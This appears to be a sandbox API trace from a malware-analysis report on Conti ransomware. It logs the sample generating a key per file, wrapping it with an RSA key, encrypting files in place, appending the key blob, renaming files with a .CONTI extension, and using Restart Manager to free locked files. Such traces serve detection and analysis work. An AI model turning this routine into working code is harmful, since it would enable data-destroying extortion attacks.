	[0117.102] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dddec, pdwDataLen=0x46fff1c | out: pbData=0x65dddec*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.103] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.103] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0117.103] GetLastError () returned 0x0
	[0117.103] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=4096) returned 1
	[0117.104] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.104] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.104] SetEndOfFile (hFile=0x40c) returned 1
	[0117.104] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.104] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.104] WriteFile (in: hFile=0x40c, lpBuffer=0x65dddec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x65dddec*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.105] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.105] ReadFile (in: hFile=0x40c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.106] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1010) returned 1
	[0117.106] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.106] WriteFile (in: hFile=0x40c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x1010, lpOverlapped=0x0) returned 1
	[0117.106] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.106] WriteFile (in: hFile=0x40c, lpBuffer=0x65ddde0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x65ddde0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0117.106] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.106] CloseHandle (hObject=0x40c) returned 1
	[0117.107] GetProcessHeap () returned 0x1720000
	[0117.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.107] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.107] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.107] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.107] GetProcessHeap () returned 0x1720000
	[0117.107] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.107] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.107] GetProcessHeap () returned 0x1720000
	[0117.107] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a340 | out: hHeap=0x1720000) returned 1
	[0117.107] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.107] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65d0778 | out: phKey=0x65d0778*=0x6b7f2b8) returned 1
	[0117.107] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d077c, pdwDataLen=0x46fff1c | out: pbData=0x65d077c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.108] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0117.108] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0117.109] GetLastError () returned 0x20
	[0117.109] RmStartSession () returned 0x0
	[0117.111] RmRegisterResources () returned 0x0
	[0118.975] RmGetList () returned 0xea
	[0124.381] RmShutdown () returned 0x15e
	[0129.822] RmEndSession () returned 0x0
	[0129.829] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0129.829] GetProcessHeap () returned 0x1720000
	[0129.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895d80 | out: hHeap=0x1720000) returned 1
	[0129.829] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0134.011] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b44538 | out: phKey=0x6b44538*=0x17c83f0) returned 1
	[0134.011] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4453c, pdwDataLen=0x46fff1c | out: pbData=0x6b4453c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0134.011] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20
	[0134.012] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.012] GetLastError () returned 0x5
	[0134.012] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.012] GetProcessHeap () returned 0x1720000
	[0134.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fa70 | out: hHeap=0x1720000) returned 1
	[0134.012] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0134.709] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6b44538 | out: phKey=0x6b44538*=0x17c7e70) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4453c, pdwDataLen=0x46fff1c | out: pbData=0x6b4453c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0135.434] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67")) returned 0x20
	[0136.475] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.67" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.67"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0136.476] GetLastError () returned 0x0
	[0136.476] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=111259028) returned 1
	[0136.476] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6a1ad94
	[0136.476] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.476] SetEndOfFile (hFile=0x3b0) returned 1
	[0139.831] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.831] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.832] WriteFile (in: hFile=0x3b0, lpBuffer=0x6b4453c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x6b4453c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0139.832] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.832] ReadFile (in: hFile=0x3b0, lpBuffer=0xc610000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x500000, lpOverlapped=0x0) returned 1
	[0142.680] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x500000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x500000) returned 1
	[0142.686] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.686] WriteFile (in: hFile=0x3b0, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x500000, lpOverlapped=0x0) returned 1
	[0145.767] ReadFile (in: hFile=0x3b0, lpBuffer=0xc610000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x500000, lpOverlapped=0x0) returned 1
	[0153.744] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x500000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x500000) returned 1
	[0153.754] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0153.754] WriteFile (hFile=0x3b0, lpBuffer=0xc610000, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0) 

Thread:
	id = 161
	os_tid = 0x438

	[0093.077] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xcb20000
	[0093.077] CryptAcquireContextA (in: phProv=0x483fbc0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x483fbc0*=0x1768e08) returned 1
	[0093.079] CryptImportKey (in: hProv=0x1768e08, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x483fbbc | out: phKey=0x483fbbc*=0x175de70) returned 1
	[0093.080] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0093.614] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x175e730) returned 1
	[0093.614] CryptExportKey (in: hKey=0x175e730, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x483fb8c | out: pbData=0x17c459c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0093.627] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0093.628] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.628] GetLastError () returned 0x0
	[0093.628] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=3419) returned 1
	[0093.628] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd5b
	[0093.628] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.628] SetEndOfFile (hFile=0x33c) returned 1
	[0093.628] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.628] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.628] WriteFile (in: hFile=0x33c, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0093.631] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.631] ReadFile (in: hFile=0x33c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0xd5b, lpOverlapped=0x0) returned 1
	[0093.631] CryptEncrypt (in: hKey=0x175e730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0xd5b, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0xd60) returned 1
	[0093.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.631] WriteFile (in: hFile=0x33c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0xd60, lpOverlapped=0x0) returned 1
	[0093.631] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.631] WriteFile (in: hFile=0x33c, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0093.631] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.631] CloseHandle (hObject=0x33c) returned 1
	[0093.632] GetProcessHeap () returned 0x1720000
	[0093.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.633] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1031\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf"
	[0093.633] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1031\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.CONTI"
	[0093.633] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.conti")) returned 1
	[0093.633] GetProcessHeap () returned 0x1720000
	[0093.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.633] CryptDestroyKey (hKey=0x175e730) returned 1
	[0093.634] GetProcessHeap () returned 0x1720000
	[0093.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d508 | out: hHeap=0x1720000) returned 1
	[0093.634] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0094.196] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x175e4b0) returned 1
	[0094.196] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x483fb8c | out: pbData=0x17d41f4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0094.202] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0094.203] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.203] GetLastError () returned 0x0
	[0094.203] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=894) returned 1
	[0094.203] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.203] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.203] SetEndOfFile (hFile=0x34c) returned 1
	[0094.203] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.203] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.203] WriteFile (in: hFile=0x34c, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0094.205] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.205] ReadFile (in: hFile=0x34c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x37e, lpOverlapped=0x0) returned 1
	[0094.205] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x37e, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x380) returned 1
	[0094.206] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.206] WriteFile (in: hFile=0x34c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x380, lpOverlapped=0x0) returned 1
	[0094.206] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.206] WriteFile (in: hFile=0x34c, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0094.206] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.206] CloseHandle (hObject=0x34c) returned 1
	[0094.207] GetProcessHeap () returned 0x1720000
	[0094.207] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.207] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico"
	[0094.208] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.CONTI"
	[0094.208] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.conti")) returned 1
	[0094.208] GetProcessHeap () returned 0x1720000
	[0094.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.208] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0094.208] GetProcessHeap () returned 0x1720000
	[0094.208] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4010 | out: hHeap=0x1720000) returned 1
	[0094.208] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0095.265] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c82f0) returned 1
	[0095.265] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x483fb8c | out: pbData=0x17c410c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0095.266] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20
	[0095.267] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
